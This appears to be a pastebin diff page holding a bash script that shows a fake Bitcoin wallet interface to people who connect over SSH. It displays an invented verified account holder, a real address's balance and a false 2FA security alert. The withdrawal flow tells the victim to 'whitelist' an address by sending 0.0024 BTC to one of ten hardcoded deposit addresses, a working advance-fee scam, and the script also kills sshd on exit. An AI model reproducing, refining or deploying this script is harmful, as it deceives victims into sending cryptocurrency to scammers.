View difference between Paste ID: hhXbFKeg and zBkLXZpj
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/env bash
2
#shellcheck disable=SC2086
3
#https://github.com/rzgarespo/bashBtcWallet
4
5
# Declare variables
6
walletAddr="1GQdrgqAbkeEPUef1UpiTc4X1mUHMcyuGW"
7
username=$(whoami)
8
serverName=$(hostname)
9
10
# Function for animating loading txt
11
animate_dots() {
12
  trap 'echo -e "\e[1m Exiting...\e[0m"; sleep 2; clear; pkill sshd; exit' INT
13
  string=$1
14
  iterations=$2
15
  sleep_time=$3
16
  for i in $(seq 1 $iterations); do
17
    printf "\r$string"
18
    for j in $(seq 1 $i); do
19
        printf "."
20
    done
21
    sleep $sleep_time
22
  done
23
  clear
24
}
25
# Function to display warning message for 2FA
26
warning2FA() {
27
    echo
28
    echo
29
    echo -e "         \e[31m\e[1m Security alert:\e[0m"
30
    echo " Two-factor authentication(2FA) for SSH connection"
31
    echo " is not configured. To enable 2FA, Access your User"
32
    echo " settings thtoughthe Phone or Desktop application, "
33
    echo " Select Account, Select Enable 2FA for SSH"
34
    echo
35
    echo " ************************"
36
}
37
# Function to prompt user for confirmation
38
ask(){
39
  trap 'echo -e "\e[1mExiting...\e[0m"; sleep 2; clear;pkill sshd; exit' INT
40
41
  while true; do
42
    echo -e "\e[1m Do you want to continue? [y/n]:\e[0m"
43
    read -r choice
44
    case $choice in
45
      INT)
46
        echo " Exiting..."
47
        exit
48
        ;;
49
          y|yes)
50
              clear
51
              userLogin
52
              walletInfo
53
              walletOption
54
        ;;
55
          n|no)
56
              clear
57
              echo
58
              animate_dots "\e[1m Exiting \e[0m " 3 1
59
              pkill sshd
60
              exit 0
61
              ;;
62
      *)
63
        echo echo $'Invalid choice. Type in  "yes" or "no" alternatively "y" or "n".'
64
        ;;
65
    esac
66
  done
67
}
68
# Function to display user login details
69
userLogin() {
70
    echo
71
    echo "************************"
72
    echo "    $(date +%Y/%m/%d)"
73
   echo -e "\e[1m Account holder:\e[0m  James Takahiro Teng \u2713 \e[2mverified\e[0m"
74
    echo -e "\e[1m User ID:\e[0m 167659109"
75
    echo -e "\e[1m User Name:\e[0m $username@$serverName"
76
    echo
77
    echo "************************"
78
}
79
# Function to get current price in USD
80
btcJsonPrise() {
81
      curl -s "https://api.coindesk.com/v1/bpi/currentprice.json" | jq -r '.bpi | .USD | .rate'
82
}
83
# Function to get final balance
84
finalBalance() {
85
86
  curl -s "https://blockchain.info/balance?active=$walletAddr" | jq '.[] | .final_balance'
87
}
88
# Function to get detailed information about the wallet
89
btcWalletAlltime() {
90
    jsonData=$(curl -s "https://blockchain.info/rawaddr/$walletAddr?limit=1")
91
    received=$(echo $jsonData | jq -r '.total_received/100000000')
92
    sent=$(echo $jsonData | jq -r '.total_sent/100000000')
93
    balance=$(echo $jsonData | jq -r '.final_balance/100000000')
94
    #echo "Total Received: $received"
95
    #echo "$received $sent $balance"
96
 }
97
# Function to get transaction history and values for the wallet
98
btcHistoryValue() {
99
 #curl -s "https://blockchain.info/rawaddr/$walletAddr?limit=2" | jq '.txs[].out[] | .addr, .value/100000000'
100
 curl -s "https://blockchain.info/rawaddr/$walletAddr?limit=3"  | jq --compact-output --raw-output 'range(0;3) as $i | .txs[$i].out[0].addr, .txs[$i].result/100000000'
101
}
102
# Function to print the header information
103
walletInfo() {
104
  
105
    echo
106
    echo -e "\e[1m Main Wallet Address:\e[0m $walletAddr"
107
    printf "\e[1m Final Balance(BTC):\e[0m %10f\n" "$(finalBalance /100000000)e-8"
108
    echo -e "\e[1m Current Price(USD):\e[0m $(btcJsonPrise)"
109
    echo "************************"
110
    echo
111
112
}
113
# Function to generate QR code for the wallet address
114
btcQRcode() {
115
  qrencode -s 3 -m 2 -t UTF8 "$walletAddr"
116
}
117
# Function to check if an address is valid
118
isValidAddress() {
119
    local address=$1
120
    local response
121
    response=$(curl -s "https://blockchain.info/q/addressbalance/$address")
122
    if [ "$response" -eq "$response" ] 2>/dev/null; then
123
        echo
124
        echo -e "\e[42m\e[30m\e[1m Address is valid.\e[0m"
125
        echo
126
        return 0
127
    else
128
        echo
129
        echo -e "\e[41m\e[37m\e[01 Address is not valid \e[0m"
130
        echo
131
        return 1
132
    fi
133
}
134
# Function to get a random deposit address
135
getDepositAddress() {
136
    # List of deposit addresses
137
    local -a depositAddresses=("bc1q3507ruzwz60kqsh4w67asmxjcxu3yq7u74jxzq" "bc1q7qq268np4my4u0g2qcw2ys7fwjgywapxnef3a0" "bc1q47xq565yw9cdj2efhzgwee3msw0dzmcna56h6r" "bc1qvr657clyu9m54nmcgmrkkw9q5gpd62jet79kxz" "bc1qkh0ma30e6r6xht37agxvdcjvavqqzmafrwugtk" "bc1q6azj8lhzthj2r63plflwdrn9y550ky6eelsng5" "bc1qyl8myegfe2a6rs4yc5t5hsmr049nc95rzf3fqp" "bc1qnx6qn6l5f2fhcm90qku9egxxnk9h9v8tske4rd" "bc1q3arwdqfg28hjvmfc62zq3kdur8r63nh4telpy8" "bc1qyu306rt2fk9r6q9r6l9c4xzjwayenjqkv8zxhw")
138
    local addressCount=${#depositAddresses[@]}
139
    local randomIndex=$((RANDOM % addressCount))
140
    local selectedAddress="${depositAddresses[$randomIndex]}"
141
    echo
142
    echo -e "\e[1m Displaying QR code\e[0m:"
143
    echo
144
    qrencode -s 3 -m 2 -t UTF8 "$selectedAddress"
145
    echo
146
    echo -e " \e[1m Trading wallet:\e[0m  $selectedAddress"
147
   
148
}
149
# Function for processing withdrawal
150
withdrawalProcess() {
151
   trap 'clear; echo " Canceled by user."; walletOption' INT
152
   echo -e "\e[1m Enter the amount for withdrawal:\e[0m"
153
   read -r withdrawAmount
154
155
 if ! [[ $withdrawAmount =~ ^-?[0-9]*\.?[0-9]+$ ]]; then
156
    echo "Please enter a valid number"
157
    withdrawalProcess
158
159
  else
160
161
    # check if entered amount is available in total balance
162
  if [[ $(echo "$(finalBalance) < $(echo "$withdrawAmount * 100000000" | bc -l)" | bc) -eq 1 ]]; then
163
        echo
164
        echo  -e "\e[1m\e[31m Insufficient funds. Please enter a smaller amount.\e[0m"
165
        echo
166
        withdrawalProcess
167
    else
168
        echo  -e "\e[1m Enter a BTC address for withdrawal:\e[0m"
169
        echo
170
        read -r withdrawAddr
171
        # Check if the entered address is valid
172
        if ! isValidAddress "$withdrawAddr"; then
173
            echo  -e "\e[1m The entered BTC address is not valid.\e[0m"
174
            echo " Please enter a valid BTC address."
175
            withdrawalProcess
176
            walletOption
177
        # check if entered address is not the same as $walletAddr
178
        elif [ "$withdrawAddr" = "$walletAddr" ]; then
179
            echo  -e "\e[1m\e[31m The entered BTC address is the same as the current wallet address.\e[0m"
180
            echo " Please enter a different BTC address."
181
            walletOption
182
        else
183
            # Check if the entered address is on the whitelist
184
            if ! isWhitelisted "$withdrawAddr"; then
185
                echo  -e  "\e[1m The entered BTC address is not on the SSH whitelist.\e[0m"
186
                echo " To whitelist this address, receiver has to send 0.0024 BTC to the deposit address."
187
                echo " Upon successful validation(3 network confirmation), 0.0018 BTC will be credited to"
188
                echo " whitelisted wallet."
189
                echo  -e  "\e[1m\e[31m Disable manual whitelist feature by activating 2FA for SSH connection.\e[0m"
190
                getDepositAddress
191
            else
192
                echo "Withdrawing $withdrawAmount BTC to $withdrawAddr..."
193
                # Code to process withdrawal to the specified address
194
            fi
195
        fi
196
    fi
197
    fi
198
}
199
# Function to check if an address is on the whitelist
200
isWhitelisted() {
201
    # Whitelisted addresses
202
    local -a whitelist=("1GQdrgqAbkeEPUef1UpiTc4X1mUHMcyuGW" "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa")
203
    for addr in "${whitelist[@]}"; do
204
        if [ "$addr" == "$1" ]; then
205
            return 0
206
        fi
207
    done
208
    return 1
209
}
210
# Function to display wallet options
211
walletOption() {
212
213
    echo
214
    echo
215
    echo " 1) Deposite"
216
    echo " 2) Withdrawal"
217
    echo " 3) Transactions"
218
    echo " 4) Exit"
219
    echo
220
    echo -e "\e[1m Select an option:\e[0m"
221
222
    read -r whichOption
223
224
    case "$whichOption" in
225
226
    1 | Deposite | deposite)
227
      clear
228
      walletInfo
229
      echo " Deposite BTC to the Trading wallet:"
230
      echo 
231
      getDepositAddress
232
      
233
      echo  -e " \e[1m Network:\e[0m Bitcoin | SegWit"
234
      echo  -e " \e[1m Minimum deposit:\e[0m  0.00233937"
235
      echo  -e " \e[1m Expected arrival:\e[0m 3 network confirmation"
236
      echo  -e "\e[31m if you deposit via another network your asset may be lost.\e[0m"
237
      echo
238
      echo "************************"
239
      walletOption
240
      ;;
241
242
    2 | Withdrawal | withdrawal)
243
      clear
244
      walletInfo
245
      echo -n "Withdrawal"
246
      echo
247
248
      withdrawalProcess
249
250
      echo "************************"
251
      walletOption
252
      ;;
253
254
    3 | Transactions | transactions)
255
      clear
256
      walletInfo
257
      echo " Alltime Activity"
258
      echo
259
      btcWalletAlltime
260
      echo -e "\e[1m Total Received:\e[0m $received"
261
      echo -e "\e[1m Total Sent:\e[0m $sent"
262
      #echo -e "\e[1m Final Balance:\e[0m $balance"
263
      echo "************************"
264
      echo
265
      echo " Last Transactions | Amounts:"
266
      echo
267
      #btcHistory
268
      btcHistoryValue
269
      echo
270
      echo "************************"
271
      walletOption
272
      ;;
273
274
275
    4 | Exit | exit | x)
276
      clear
277
      animate_dots "\e[1m Exiting \e[0m " 3 1
278
    pkill sshd
279
      exit 0
280
      ;;
281
282
    *)
283
    clear
284
    echo
285
    echo " Invalid option. Please try again."
286
      walletOption
287
      ;;
288
  esac
289
290
}
291
echo
292
animate_dots "loading the wallet " 3 1
293
warning2FA
294
ask